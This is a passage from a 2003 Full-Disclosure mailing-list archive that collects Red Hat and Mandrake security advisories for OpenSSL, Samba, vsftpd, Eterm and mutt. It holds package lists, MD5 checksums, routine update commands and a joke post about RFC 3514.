8a225b9cb704c1c8d55fdc9128d4a965 7.0/en/os/i386/openssl-0.9.6-16.i386.rpm 166f2a495bfdd5b9dec82872bbc2a0d1 7.0/en/os/i386/openssl-devel-0.9.6-16.i386.rpm 249846dd8034d0923643f1e296683353 7.0/en/os/i386/openssl-perl-0.9.6-16.i386.rpm 7031de82572cf6dcd68b33273dea1c82 7.0/en/os/i386/openssl-python-0.9.6-16.i386.rpm 0dba680affa927eceb890f7ea2ca5347 7.0/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm 61a8dcc09dd6deb22873e86d5674c054 7.1/en/os/SRPMS/openssl-0.9.6-16.src.rpm 5ca6550f8ac5068ee74ff3e8878c122d 7.1/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm 8a225b9cb704c1c8d55fdc9128d4a965 7.1/en/os/i386/openssl-0.9.6-16.i386.rpm 166f2a495bfdd5b9dec82872bbc2a0d1 7.1/en/os/i386/openssl-devel-0.9.6-16.i386.rpm 249846dd8034d0923643f1e296683353 7.1/en/os/i386/openssl-perl-0.9.6-16.i386.rpm 7031de82572cf6dcd68b33273dea1c82 7.1/en/os/i386/openssl-python-0.9.6-16.i386.rpm 0dba680affa927eceb890f7ea2ca5347 7.1/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm e998276b64905803ab43e52fa96f89dd 7.2/en/os/SRPMS/openssl-0.9.6b-32.7.src.rpm 5ca6550f8ac5068ee74ff3e8878c122d 7.2/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm 5a0236175fcd6141bad13103e69d84d7 7.2/en/os/SRPMS/openssl096-0.9.6-16.7.src.rpm 8a9f793cc9fc713551c307072fe718d6 7.2/en/os/i386/openssl-0.9.6b-32.7.i386.rpm 29714991bb3d36718c2cba5c4f945c9f 7.2/en/os/i386/openssl-devel-0.9.6b-32.7.i386.rpm 210f404351a8b4da656b87c745d74901 7.2/en/os/i386/openssl-perl-0.9.6b-32.7.i386.rpm 0dba680affa927eceb890f7ea2ca5347 7.2/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm b1d1807fd6f8afb2955f87fd0e1484e3 7.2/en/os/i386/openssl096-0.9.6-16.7.i386.rpm c68a5311f1aaa36279517de2b942f80f 7.2/en/os/i686/openssl-0.9.6b-32.7.i686.rpm 3060596923e12eb8bef8707f411aee6a 7.2/en/os/ia64/openssl-0.9.6b-32.7.ia64.rpm bc25a74463aecff055051935f7900a6b 7.2/en/os/ia64/openssl-devel-0.9.6b-32.7.ia64.rpm ed840ac83f68fd141a09308eccdfeda6 7.2/en/os/ia64/openssl-perl-0.9.6b-32.7.ia64.rpm d87303a2d6f572eab968d783be1241df 7.2/en/os/ia64/openssl095a-0.9.5a-20.7.ia64.rpm 925b88dbb21251467473b82610c255b3 7.2/en/os/ia64/openssl096-0.9.6-16.7.ia64.rpm e998276b64905803ab43e52fa96f89dd 7.3/en/os/SRPMS/openssl-0.9.6b-32.7.src.rpm 5ca6550f8ac5068ee74ff3e8878c122d 7.3/en/os/SRPMS/openssl095a-0.9.5a-20.7.src.rpm 5a0236175fcd6141bad13103e69d84d7 7.3/en/os/SRPMS/openssl096-0.9.6-16.7.src.rpm 8a9f793cc9fc713551c307072fe718d6 7.3/en/os/i386/openssl-0.9.6b-32.7.i386.rpm 29714991bb3d36718c2cba5c4f945c9f 7.3/en/os/i386/openssl-devel-0.9.6b-32.7.i386.rpm 210f404351a8b4da656b87c745d74901 7.3/en/os/i386/openssl-perl-0.9.6b-32.7.i386.rpm 0dba680affa927eceb890f7ea2ca5347 7.3/en/os/i386/openssl095a-0.9.5a-20.7.i386.rpm b1d1807fd6f8afb2955f87fd0e1484e3 7.3/en/os/i386/openssl096-0.9.6-16.7.i386.rpm c68a5311f1aaa36279517de2b942f80f 7.3/en/os/i686/openssl-0.9.6b-32.7.i686.rpm 479d5f93a6dc28936f7e31b9f55dfe79 8.0/en/os/SRPMS/openssl-0.9.6b-33.src.rpm 0b0acec1a90aeb0acef5239687bbb4c5 8.0/en/os/SRPMS/openssl095a-0.9.5a-21.src.rpm a4706dec1418200d30f98e0093adff81 8.0/en/os/SRPMS/openssl096-0.9.6-16.8.src.rpm 4fb96db51bf3da39e5b55a647ada7954 8.0/en/os/i386/openssl-0.9.6b-33.i386.rpm c303cbf4f81e75a7e7cb2b8e32d0505f 8.0/en/os/i386/openssl-devel-0.9.6b-33.i386.rpm 0d2212d818c0cb65a382d1f69e4d11b7 8.0/en/os/i386/openssl-perl-0.9.6b-33.i386.rpm 16b70cfb654b63a11ab4b59027ebae99 8.0/en/os/i386/openssl095a-0.9.5a-21.i386.rpm 6ffaf08722105ea29f888eeacf32421a 8.0/en/os/i386/openssl096-0.9.6-16.8.i386.rpm 99ab9d437ab913eec09b29c8f41005a2 8.0/en/os/i686/openssl-0.9.6b-33.i686.rpm e30fa13f4d1365a192be91c07a3b379f 9/en/os/SRPMS/openssl-0.9.7a-5.src.rpm a63d8f70a8869798b32d8cd6dd59063e 9/en/os/SRPMS/openssl096-0.9.6-17.src.rpm 5f95500fd79d099b79a1640cb7232018 9/en/os/SRPMS/openssl096b-0.9.6b-6.src.rpm f4e95f889af8356a57ccc8d107b8019e 9/en/os/i386/openssl-0.9.7a-5.i386.rpm 3f7358c3cc1006be9e975c21fd01004c 9/en/os/i386/openssl-devel-0.9.7a-5.i386.rpm 70b2d3b41404b83c074e2057a41b9ba0 9/en/os/i386/openssl-perl-0.9.7a-5.i386.rpm 4c17eeaa8a9a70021c7e119ee085c192 9/en/os/i386/openssl096-0.9.6-17.i386.rpm 6309eaac219c2c4ac1474bfcb7cbc174 9/en/os/i386/openssl096b-0.9.6b-6.i386.rpm 2481086e38bb9cfcff10131c4311a030 9/en/os/i686/openssl-0.9.7a-5.i686.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 8. References: http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf http://eprint.iacr.org/2003/052/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0147 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0131 9. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From bugzilla at redhat.com Tue Apr 1 16:56:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Tue, 1 Apr 2003 10:56 -0500 Subject: [Full-Disclosure] [RHSA-2003:095-03] New samba packages fix security vulnerabilities Message-ID: <200304011556.h31Fu5s17472@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: New samba packages fix security vulnerabilities Advisory ID: RHSA-2003:095-03 Issue date: 2003-03-17 Updated on: 2003-04-01 Product: Red Hat Linux Keywords: smb Cross references: Obsoletes: RHSA-2002:266 CVE Names: CAN-2003-0085 CAN-2003-0086 --------------------------------------------------------------------- 1. Topic: Updated Samba packages are now available to fix security vulnerabilities found during a code audit. [Updated 24 March 2003] Updated Samba packages for Red Hat Linux 6.2, 7, and 7.1 are now included. These packages contain Samba version 2.0.10 with a backported security fix. [Updated 1 April 2003] Updated Samba packages for Red Hat Linux 9 are now included. Please note that this issue only affects Red Hat Linux 9 boxed sets manufactured for distribution within the United States. The part numbers, which can be found on the bottom flap of the box, are RHF0120US and RHF0121US. Copies of Red Hat Linux 9 obtained through other means (such as from Red Hat Network, FTP, or international boxed sets) already contain the packages referenced by this erratum, and are not vulnerable to this issue. 2. Relevant releases/architectures: Red Hat Linux 6.2 - i386 Red Hat Linux 7.0 - i386 Red Hat Linux 7.1 - i386 Red Hat Linux 7.2 - i386, ia64 Red Hat Linux 7.3 - i386 Red Hat Linux 8.0 - i386 Red Hat Linux 9 - i386 3. Problem description: Samba is a suite of utilities which provides file and printer sharing services to SMB/CIFS clients. Sebastian Krahmer discovered a security vulnerability present in unpatched versions of Samba prior to 2.2.8. An anonymous user could exploit the vulnerability to gain root access on the target machine. Additionally, a race condition was discovered which could allow an attacker to overwrite critical system files. All users of Samba are advised to update to the packages listed in this errata which correct these vulnerabilities. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/samba-2.0.10-1.62.src.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/samba-2.0.10-1.62.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/samba-common-2.0.10-1.62.i386.rpm ftp://updates.redhat.com/6.2/en/os/i386/samba-client-2.0.10-1.62.i386.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/samba-2.0.10-1.7.0.src.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/samba-2.0.10-1.7.0.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/samba-common-2.0.10-1.7.0.i386.rpm ftp://updates.redhat.com/7.0/en/os/i386/samba-client-2.0.10-1.7.0.i386.rpm Red Hat Linux 7.1: SRPMS: ftp://updates.redhat.com/7.1/en/os/SRPMS/samba-2.0.10-4.7.1.src.rpm i386: ftp://updates.redhat.com/7.1/en/os/i386/samba-2.0.10-4.7.1.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/samba-common-2.0.10-4.7.1.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/samba-client-2.0.10-4.7.1.i386.rpm ftp://updates.redhat.com/7.1/en/os/i386/samba-swat-2.0.10-4.7.1.i386.rpm Red Hat Linux 7.2: SRPMS: ftp://updates.redhat.com/7.2/en/os/SRPMS/samba-2.2.7-2.7.2.src.rpm i386: ftp://updates.redhat.com/7.2/en/os/i386/samba-2.2.7-2.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-common-2.2.7-2.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-client-2.2.7-2.7.2.i386.rpm ftp://updates.redhat.com/7.2/en/os/i386/samba-swat-2.2.7-2.7.2.i386.rpm ia64: ftp://updates.redhat.com/7.2/en/os/ia64/samba-2.2.7-2.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-common-2.2.7-2.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-client-2.2.7-2.7.2.ia64.rpm ftp://updates.redhat.com/7.2/en/os/ia64/samba-swat-2.2.7-2.7.2.ia64.rpm Red Hat Linux 7.3: SRPMS: ftp://updates.redhat.com/7.3/en/os/SRPMS/samba-2.2.7-2.7.3.src.rpm i386: ftp://updates.redhat.com/7.3/en/os/i386/samba-2.2.7-2.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-common-2.2.7-2.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-client-2.2.7-2.7.3.i386.rpm ftp://updates.redhat.com/7.3/en/os/i386/samba-swat-2.2.7-2.7.3.i386.rpm Red Hat Linux 8.0: SRPMS: ftp://updates.redhat.com/8.0/en/os/SRPMS/samba-2.2.7-4.8.0.src.rpm i386: ftp://updates.redhat.com/8.0/en/os/i386/samba-2.2.7-4.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-common-2.2.7-4.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-client-2.2.7-4.8.0.i386.rpm ftp://updates.redhat.com/8.0/en/os/i386/samba-swat-2.2.7-4.8.0.i386.rpm Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/samba-2.2.7a-7.9.0.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/samba-2.2.7a-7.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-common-2.2.7a-7.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-client-2.2.7a-7.9.0.i386.rpm ftp://updates.redhat.com/9/en/os/i386/samba-swat-2.2.7a-7.9.0.i386.rpm 6. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 4ab086c2b7b1b36842a3fe679da8a62c 6.2/en/os/SRPMS/samba-2.0.10-1.62.src.rpm e2f1c0eb7756eaaabb061456a3b9976b 6.2/en/os/i386/samba-2.0.10-1.62.i386.rpm 286d2586c20036c4c8c68448543c02c6 6.2/en/os/i386/samba-client-2.0.10-1.62.i386.rpm 0c59d519c586504f07de0a3084a90a3b 6.2/en/os/i386/samba-common-2.0.10-1.62.i386.rpm 901979ccb2ab895f2e04f01032f87a1c 7.0/en/os/SRPMS/samba-2.0.10-1.7.0.src.rpm 0e3c942b9babe1628f894e5d7d3b6f31 7.0/en/os/i386/samba-2.0.10-1.7.0.i386.rpm 8c14ad19b31ef0f40b076c440a5295ce 7.0/en/os/i386/samba-client-2.0.10-1.7.0.i386.rpm d0a56d30c125bbc253fd0cb368176f93 7.0/en/os/i386/samba-common-2.0.10-1.7.0.i386.rpm aaff2aa1209064157ee75e6cfb62345c 7.1/en/os/SRPMS/samba-2.0.10-4.7.1.src.rpm ef31ad88c20642ebefa53772a4597ce6 7.1/en/os/i386/samba-2.0.10-4.7.1.i386.rpm ecad16dd1971f948ff719a25bdc13c87 7.1/en/os/i386/samba-client-2.0.10-4.7.1.i386.rpm b966c85535f4d4d7b8c1154f6bf71812 7.1/en/os/i386/samba-common-2.0.10-4.7.1.i386.rpm 7d89a94cb3dd473b7c83ea4cd8c20ced 7.1/en/os/i386/samba-swat-2.0.10-4.7.1.i386.rpm d69bb56093e7331df997d659ca2ea9e8 7.2/en/os/SRPMS/samba-2.2.7-2.7.2.src.rpm 260f20116ee659b3ae90f0ddddd62cf9 7.2/en/os/i386/samba-2.2.7-2.7.2.i386.rpm 73d30c36d6bd66e46bd6748c75b66d95 7.2/en/os/i386/samba-client-2.2.7-2.7.2.i386.rpm f0b0c21452d61a3a6b2c9678c2ff21e5 7.2/en/os/i386/samba-common-2.2.7-2.7.2.i386.rpm 5bc9e1065133519be8f8ad1217a91c28 7.2/en/os/i386/samba-swat-2.2.7-2.7.2.i386.rpm 5baa777197d842e5b3c9d6aa8aed42c3 7.2/en/os/ia64/samba-2.2.7-2.7.2.ia64.rpm 60815d802212e7c1d81578202483da1b 7.2/en/os/ia64/samba-client-2.2.7-2.7.2.ia64.rpm 42dc373237a120ebff3d3e2f0a75ccfc 7.2/en/os/ia64/samba-common-2.2.7-2.7.2.ia64.rpm 4869acd937643d1ebd47c08a124d4a6d 7.2/en/os/ia64/samba-swat-2.2.7-2.7.2.ia64.rpm 1a8b4d5ecf465a7b77002b9491a7e634 7.3/en/os/SRPMS/samba-2.2.7-2.7.3.src.rpm e28cae0c58825bb3361cd91062e3b4f4 7.3/en/os/i386/samba-2.2.7-2.7.3.i386.rpm da6798c92ea24bf85a676adf17e9084a 7.3/en/os/i386/samba-client-2.2.7-2.7.3.i386.rpm 34d8b1a219edd1891d0ea371c06a02d7 7.3/en/os/i386/samba-common-2.2.7-2.7.3.i386.rpm 852d956fc9ae7c16553d3803617888d4 7.3/en/os/i386/samba-swat-2.2.7-2.7.3.i386.rpm 69efd966ca49b534e213d10467adb3f8 8.0/en/os/SRPMS/samba-2.2.7-4.8.0.src.rpm 28fbffa7571d2e77ed6e6eb11a2f553a 8.0/en/os/i386/samba-2.2.7-4.8.0.i386.rpm db4faec9250a12ab30edcc62cddaeb43 8.0/en/os/i386/samba-client-2.2.7-4.8.0.i386.rpm 63072e475355d39479b6d755123523bc 8.0/en/os/i386/samba-common-2.2.7-4.8.0.i386.rpm d5fe4f9b3c1fa92a6b0d17b7e4042f2d 8.0/en/os/i386/samba-swat-2.2.7-4.8.0.i386.rpm 53d02b05110000ef81b6cd757049caa5 9/en/os/SRPMS/samba-2.2.7a-7.9.0.src.rpm 238851c68cf7a1607545b833ee05fe39 9/en/os/i386/samba-2.2.7a-7.9.0.i386.rpm 8d8990bc23ffb78ac17dec62bea10787 9/en/os/i386/samba-client-2.2.7a-7.9.0.i386.rpm abd0c024db96914c9778505449896e7c 9/en/os/i386/samba-common-2.2.7a-7.9.0.i386.rpm 8f9ad3786f30de21356403fb255c68b1 9/en/os/i386/samba-swat-2.2.7a-7.9.0.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 7. References: http://www.samba.org/samba/whatsnew/samba-2.2.8.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0085 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0086 8. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From bugzilla at redhat.com Tue Apr 1 16:59:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Tue, 1 Apr 2003 10:59 -0500 Subject: [Full-Disclosure] [RHSA-2003:084-01] Updated vsftpd packages re-enable tcp_wrappers support Message-ID: <200304011559.h31Fxqs17693@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated vsftpd packages re-enable tcp_wrappers support Advisory ID: RHSA-2003:084-01 Issue date: 2003-04-01 Updated on: 2003-04-01 Product: Red Hat Linux Keywords: vsftpd tcp_wrappers Cross references: Obsoletes: CVE Names: CAN-2003-0135 --------------------------------------------------------------------- 1. Topic: Updated vsftpd packages that re-enable tcp_wrappers support are available for Red Hat Linux 9. 2. Relevant releases/architectures: Red Hat Linux 9 - i386 3. Problem description: In Red Hat Linux 9, the vsftpd FTP daemon switched from being run by xinetd to being run as a standalone service. In doing so, it was accidentally not compiled against tcp_wrappers. Users of vsftpd who make use of tcp_wrappers features are advised to upgrade to these errata packages. This issue only affects Red Hat Linux 9 boxed sets manufactured for distribution within the United States. The part numbers, which can be found on the bottom flap of the box, are RHF0120US and RHF0121US. Copies of Red Hat Linux 9 obtained through other means (such as from Red Hat Network, FTP, or international boxed sets) already contain the packages referenced by this erratum, and are not vulnerable to this issue. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/vsftpd-1.1.3-8.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/vsftpd-1.1.3-8.i386.rpm 6. Verification: MD5 sum Package Name -------------------------------------------------------------------------- 31bf5c2e87909c74f8ad9e76b2e46fea 9/en/os/SRPMS/vsftpd-1.1.3-8.src.rpm d2e807f808c45407f08528f50d29933b 9/en/os/i386/vsftpd-1.1.3-8.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 7. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0135 8. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From blancher at cartel-securite.fr Tue Apr 1 18:03:16 2003 From: blancher at cartel-securite.fr (Cedric Blancher) Date: 01 Apr 2003 19:03:16 +0200 Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: References: Message-ID: <1049216596.4784.1.camel@elendil.intranet.cartel-securite.net> Le mar 01/04/2003 ? 17:44, Ron DuFresne a ?crit : > From: Mikael Olsson > Subject: [fw-wiz] Clavister Proudly Announces RFC3514 Compliance > Organization: Clavister AB > Date: Tue, 01 Apr 2003 13:23:30 +0200 > To: fw-wiz > > > An innovative security initiative ?rnsk?ldsvik, Sweden > -------------------------------- April 1, 2003 > > Clavister AB is proud to present the world's first RFC3514 > compliant network firewall product. In a proactive move, > Clavister implemented the "IPRF" consistency check five > years ago, making its firewall software RFC3514 compliant > before the fact. Just 3 hours before Netfilter got its patch : De: Martin Josefsson ?: Netfilter-devel Sujet: rfc3514 Date: 01 Apr 2003 16:15:44 +0200 Hi Here's a partial implementation of rfc3514. It just implements a match and a target. ;) -- C?dric Blancher Consultant en s?curit? des syst?mes et r?seaux - Cartel S?curit? T?l: +33 (0)1 44 06 97 87 - Fax: +33 (0)1 44 06 97 99 PGP KeyID:157E98EE FingerPrint:FA62226DA9E72FA8AECAA240008B480E157E98EE From security at linux-mandrake.com Tue Apr 1 18:07:24 2003 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: 1 Apr 2003 17:07:24 -0000 Subject: [Full-Disclosure] MDKSA-2003:040 - Updated Eterm packages fix escape sequence insecurities Message-ID: <20030401170724.3434.qmail@updates.mandrakesoft.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: Eterm Advisory ID: MDKSA-2003:040 Date: April 1st, 2003 Affected versions: 9.0 ________________________________________________________________________ Problem Description: Digital Defense Inc. released a paper detailing insecurities in various terminal emulators, including Eterm. Many of the features supported by these programs can be abused when untrusted data is displayed on the screen. This abuse can be anything from garbage data being displayed to the screen or a system compromise. These issues are corrected in Eterm 0.9.2, which is already included in Mandrake Linux 9.1. ________________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0021 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0068 http://marc.theaimsgroup.com/?l=bugtraq&m=104612710031920&w=2 ________________________________________________________________________ Updated Packages: Mandrake Linux 9.0: c0581145c8105bcbc734f547f4a86275 9.0/RPMS/libast1-0.5-1.1mdk.i586.rpm d855d276f9d70c038a5994a78876fee5 9.0/RPMS/libast1-devel-0.5-1.1mdk.i586.rpm a751b7970af94a7cba3fd5ed5eb71e72 9.0/RPMS/Eterm-0.9.2-2.1mdk.i586.rpm c652ca438722b31c53a590a502c3f03c 9.0/RPMS/Eterm-devel-0.9.2-2.1mdk.i586.rpm a0a0f9b21f7bd64e26a51dfc7a267c3f 9.0/SRPMS/libast-0.5-1.1mdk.src.rpm 90ae935151ce81306fb671e1aafa0a58 9.0/SRPMS/Eterm-0.9.2-2.1mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate. The verification of md5 checksums and GPG signatures is performed automatically for you. If you want to upgrade manually, download the updated package from one of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm". A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php Please verify the update prior to upgrading to ensure the integrity of the downloaded package. You can do this with the command: rpm --checksig All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team from: https://www.mandrakesecure.net/RPM-GPG-KEYS Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. Information on these lists can be obtained by visiting: http://www.mandrakesecure.net/en/mlist.php If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) mQGiBDlp594RBAC2tDozI3ZgQsE7XwxurJCJrX0L5vx7SDByR5GHDdWekGhdiday L4nfUax+SeR9SCoCgTgPW1xB8vtQc8/sinJlMjp9197a2iKM0FOcPlkpa3HcOdt7 WKJqQhlMrHvRcsivzcgqjH44GBBJIT6sygUF8k0lU6YnMHj5MPc/NGWt8wCg9vKo P0l5QVAFSsHtqcU9W8cc7wMEAJzQsAlnvPXDBfBLEH6u7ptWFdp0GvbSuG2wRaPl hynHvRiE01ZvwbJZXsPsKm1z7uVoW+NknKLunWKB5axrNXDHxCYJBzY3jTeFjsqx PFZkIEAQphLTkeXXelAjQ5u9tEshPswEtMvJvUgNiAfbzHfPYmq8D6x5xOw1IySg 2e/LBACxr2UJYCCB2BZ3p508mAB0RpuLGukq+7UWiOizy+kSskIBg2O7sQkVY/Cs iyGEo4XvXqZFMY39RBdfm2GY+WB/5NFiTOYJRKjfprP6K1YbtsmctsX8dG+foKsD LLFs7OuVfaydLQYp1iiN6D+LJDSMPM8/LCWzZsgr9EKJ8NXiyrQ6TGludXggTWFu ZHJha2UgU2VjdXJpdHkgVGVhbSA8c2VjdXJpdHlAbGludXgtbWFuZHJha2UuY29t PohWBBMRAgAWBQI5aefeBAsKBAMDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmK6LAKCy /NInDsaMSI+WHwrquwC5PZrcnQCeI+v3gUDsNfQfiKBvQSANu1hdulqIRgQQEQIA BgUCOtNVGQAKCRBZ5w3um0pAJJWQAKDUoL5He+mKbfrMaTuyU5lmRyJ0fwCgoFAP WdvQlu/kFjphF740XeOwtOqIRgQQEQIABgUCOu8A6QAKCRBynDnb9lq3CnpjAJ4w Pk0SEE9U4r40IxWpwLU+wrWVugCdFfSPllPpZRCiaC7HwbFcfExRmPaIRgQQEQIA BgUCPI+UAwAKCRDniYrgcHcf8xK5AKCm/Mq8qP8GE0o1hEX22QsJMZwH5gCfZ72H 8TacOb3oAmBdprf+K6gkdOiIRgQQEQIABgUCOtOieAAKCRCv2bZyU0yB80MeAJ9K +jXt0cKuaUonRU+CRGetk6t9dgCfTRRL6/puOKdD6md70+K5EBBSvsG0OE1hbmRy YWtlIExpbnV4IFNlY3VyaXR5IFRlYW0gPHNlY3VyaXR5QG1hbmRyYWtlc29mdC5j b20+iFcEExECABcFAjyPnuUFCwcKAwQDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmFi+ AJsHhohgnU3ik4+gy3EdFlB2i/MBoACg6lHn5cnVvTcmgNccWxeNxLLZI5e5AQ0E OWnn7xAEAOQlTVY4TiNo5V/iP0J1xnqjqlqZsU7yEBKo/gZz6/+hx75RURe1ebiJ 9F779FQbpJ9Epz1KLSXvq974rnVb813zuGdmgFyk+ryA/rTR2RQ8h+EoNkwmATzR xBXVJb57fFQjxOu4eNjZAtfII/YXb0uyXXrdr5dlJ/3eXrcO4p0XAAMFBACCxo6Z 269s+A4v8C6Ui12aarOQcCDlV8cVG9LkyatU3FNTlnasqwo6EkaP572448weJWwN 6SCXVl+xOYLiK0hL/6Jb/O9Agw75yUVdk+RMM2I4fNEi+y4hmfMh2siBv8yEkEvZ jTcl3TpkTfzYky85tu433wmKaLFOv0WjBFSikohGBBgRAgAGBQI5aefvAAoJEJqo 0NAiRYqYid0AoJgeWzXrEdIClBOSW5Q6FzqJJyaqAKC0Y9YI3UFlE4zSIGjcFlLJ EJGXlA== =yGlX - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+icdMmqjQ0CJFipgRAozIAJ4jaZz3mBD472/pkrZkFNIhcX/hGgCdGWB/ 8+lrSe4Od9FOqIw2EzxZ1Xw= =w55L -----END PGP SIGNATURE----- From security at linux-mandrake.com Tue Apr 1 18:09:42 2003 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: 1 Apr 2003 17:09:42 -0000 Subject: [Full-Disclosure] MDKSA-2003:041 - Updated mutt packages fix exploitable buffer overflow Message-ID: <20030401170942.3732.qmail@updates.mandrakesoft.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: mutt Advisory ID: MDKSA-2003:041 Date: April 1st, 2003 Affected versions: 8.2, 9.0, 9.1 ________________________________________________________________________ Problem Description: A vulnerability was discovered in the mutt text-mode email client in the IMAP code. This vulnerability can be exploited by a malicious IMAP server to crash mutt or even execute arbitrary code with the privilege of the user running mutt. ________________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0140 ________________________________________________________________________ Updated Packages: Mandrake Linux 8.2: 3331fb07b8a3f09bfadb93cb0f2ca964 8.2/RPMS/mutt-1.3.28i-1.2mdk.i586.rpm d2d2d6b4498fa9eb320ac8042dda65ac 8.2/SRPMS/mutt-1.3.28i-1.2mdk.src.rpm Mandrake Linux 8.2/PPC: e144a8dcc0465dac8273be2354d6dc84 ppc/8.2/RPMS/mutt-1.3.28i-1.2mdk.ppc.rpm d2d2d6b4498fa9eb320ac8042dda65ac ppc/8.2/SRPMS/mutt-1.3.28i-1.2mdk.src.rpm Mandrake Linux 9.0: a46c10cf5f6d6279069c409668a21fbc 9.0/RPMS/mutt-1.4.1i-1.1mdk.i586.rpm b836f11d978e3236ad909d703009df16 9.0/SRPMS/mutt-1.4.1i-1.1mdk.src.rpm Mandrake Linux 9.1: 2780b36dbe40cde4746fc227c93cc559 9.1/RPMS/mutt-1.4.1i-1.1mdk.i586.rpm b836f11d978e3236ad909d703009df16 